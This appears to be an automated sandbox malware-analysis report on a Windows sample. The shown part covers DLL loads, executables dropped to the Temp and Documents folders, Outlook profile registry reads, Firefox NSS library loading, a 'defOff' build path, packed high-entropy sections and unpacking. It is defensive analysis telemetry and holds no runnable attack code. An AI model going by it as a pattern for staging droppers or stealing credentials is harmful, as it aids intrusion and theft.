Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4TPPuMwzSA.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: mstask.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: dui70.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: duser.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: chartv.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: winsta.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 4TPPuMwzSA.exe

Static file information: File size 1834496 > 1048576

Source: 4TPPuMwzSA.exe

Static PE information: Raw size of jykvwyex is bigger than: 0x100000 < 0x197800

Source:	Binary string: mozglue.pdbP source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280478139.000000006FF1D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.4.dr
Source:	Binary string: nss3.pdb@ source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3.dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: B4U6J06FD2GOJV7081L.exe, 00000003.00000003.1664463017.0000000005070000.00000004.00001000.00020000.00000000.sdmp, B4U6J06FD2GOJV7081L.exe, 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.4.dr, nss3.dll.4.dr
Source:	Binary string: mozglue.pdb source: 0T9SUT3NIHPVYFO0WUKXI.exe, 00000004.00000002.2280478139.000000006FF1D000.00000002.00000001.01000000.0000000E.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3.dll.4.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Unpacked PE file: 3.2.B4U6J06FD2GOJV7081L.exe.9e0000.0.unpack :EW;.rsrc:W;.idata :W;tzzztmlq:EW;jxlaistz:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe	Unpacked PE file: 4.2.0T9SUT3NIHPVYFO0WUKXI.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;qlmsecti:EW;gcgddbmv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;qlmsecti:EW;gcgddbmv:EW;.taggant:EW;
Source: C:\Users\user\Documents\DBAEHCGHII.exe	Unpacked PE file: 18.2.DBAEHCGHII.exe.450000.0.unpack :EW;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 19.2.skotes.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 22.2.skotes.exe.b60000.0.unpack :EW;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;dvclnttf:EW;migevdii:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: real checksum: 0x1d2e82 should be: 0x1cf0b8
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x2e78b8 should be: 0x2e88b3
Source: DBAEHCGHII.exe.4.dr	Static PE information: real checksum: 0x2e78b8 should be: 0x2e88b3
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: real checksum: 0x2ab258 should be: 0x2af2f7
Source: skotes.exe.18.dr	Static PE information: real checksum: 0x2e78b8 should be: 0x2e88b3
Source: 4TPPuMwzSA.exe	Static PE information: real checksum: 0x1c6892 should be: 0x1c9809

Source: 4TPPuMwzSA.exe	Static PE information: section name:
Source: 4TPPuMwzSA.exe	Static PE information: section name: .idata
Source: 4TPPuMwzSA.exe	Static PE information: section name:
Source: 4TPPuMwzSA.exe	Static PE information: section name: jykvwyex
Source: 4TPPuMwzSA.exe	Static PE information: section name: flkzpzss
Source: 4TPPuMwzSA.exe	Static PE information: section name: .taggant
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name:
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: .idata
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: tzzztmlq
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: jxlaistz
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: .taggant
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name:
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: .idata
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name:
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: qlmsecti
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: gcgddbmv
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140[1].dll.4.dr	Static PE information: section name: .didat
Source: nss3.dll.4.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.4.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name: dvclnttf
Source: random[1].exe.4.dr	Static PE information: section name: migevdii
Source: random[1].exe.4.dr	Static PE information: section name: .taggant
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name:
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: .idata
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: dvclnttf
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: migevdii
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: .taggant
Source: freebl3.dll.4.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.4.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.4.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.4.dr	Static PE information: section name: .didat
Source: skotes.exe.18.dr	Static PE information: section name:
Source: skotes.exe.18.dr	Static PE information: section name: .idata
Source: skotes.exe.18.dr	Static PE information: section name: dvclnttf
Source: skotes.exe.18.dr	Static PE information: section name: migevdii
Source: skotes.exe.18.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009EE8A0 push ebp; mov dword ptr [esp], ecx	3_2_009EE8AF
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009EE8A0 push 06C3B0E0h; mov dword ptr [esp], ecx	3_2_009EF01C
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009EE8A0 push 4742D4DBh; mov dword ptr [esp], eax	3_2_009EF024
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009EEAC5 push ecx; mov dword ptr [esp], 1F67F422h	3_2_009EEDF0
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5DADF push ebp; mov dword ptr [esp], 57E2B41Eh	3_2_00B5DB0B
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5DADF push 0C1374D5h; mov dword ptr [esp], esi	3_2_00B5DB8A
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F1099 push edi; mov dword ptr [esp], esp	3_2_009F15FF
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F2090 push 54EA60C5h; mov dword ptr [esp], ebp	3_2_009F0606
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8A3 push eax; mov dword ptr [esp], esi	3_2_00B5E82A
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8A3 push 0320B183h; mov dword ptr [esp], ecx	3_2_00B5E8DA
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8A3 push eax; mov dword ptr [esp], ebx	3_2_00B5E8F3
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8A3 push esi; mov dword ptr [esp], ecx	3_2_00B5E90B
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B610AD push 6D8A757Dh; mov dword ptr [esp], esp	3_2_00B610CB
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E898 push 0320B183h; mov dword ptr [esp], ecx	3_2_00B5E8DA
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E898 push eax; mov dword ptr [esp], ebx	3_2_00B5E8F3
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E898 push esi; mov dword ptr [esp], ecx	3_2_00B5E90B
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F08AB push 7F6D7FC9h; mov dword ptr [esp], esp	3_2_009F0C57
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009ED8A5 push 2B247A2Ch; mov dword ptr [esp], edx	3_2_009ED97E
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F40CB push eax; mov dword ptr [esp], 24D494A3h	3_2_009F40CC
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F20C2 push ebx; mov dword ptr [esp], 447E5E53h	3_2_009F4668
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F20C2 push 6C07C5D3h; mov dword ptr [esp], ecx	3_2_009F4C95
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B600C6 push eax; mov dword ptr [esp], 028BF8A1h	3_2_00B602DA
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F08EB push eax; mov dword ptr [esp], edx	3_2_009F3041
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F08EB push ebp; mov dword ptr [esp], eax	3_2_009F47FD
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F38E7 push eax; mov dword ptr [esp], 634619C0h	3_2_009F46FB
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8CD push eax; mov dword ptr [esp], ebx	3_2_00B5E8F3
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5E8CD push esi; mov dword ptr [esp], ecx	3_2_00B5E90B
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F1803 push edi; mov dword ptr [esp], ebp	3_2_009F1809
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F2039 push 0731B4D5h; mov dword ptr [esp], edx	3_2_009F203E
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_009F2039 push edi; mov dword ptr [esp], ecx	3_2_009F2042
Source: C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe	Code function: 3_2_00B5F004 push edi; mov dword ptr [esp], 1334A1C4h	3_2_00B5F245

Source: 4TPPuMwzSA.exe	Static PE information: section name: entropy: 7.982248623036551
Source: 4TPPuMwzSA.exe	Static PE information: section name: jykvwyex entropy: 7.951577720610811
Source: B4U6J06FD2GOJV7081L.exe.0.dr	Static PE information: section name: entropy: 7.809769418851405
Source: 0T9SUT3NIHPVYFO0WUKXI.exe.0.dr	Static PE information: section name: qlmsecti entropy: 7.954129284936792
Source: random[1].exe.4.dr	Static PE information: section name: entropy: 7.9859445978174755
Source: DBAEHCGHII.exe.4.dr	Static PE information: section name: entropy: 7.9859445978174755
Source: skotes.exe.18.dr	Static PE information: section name: entropy: 7.9859445978174755

Persistence and Installation Behavior

Drops PE files to the document folder of the user

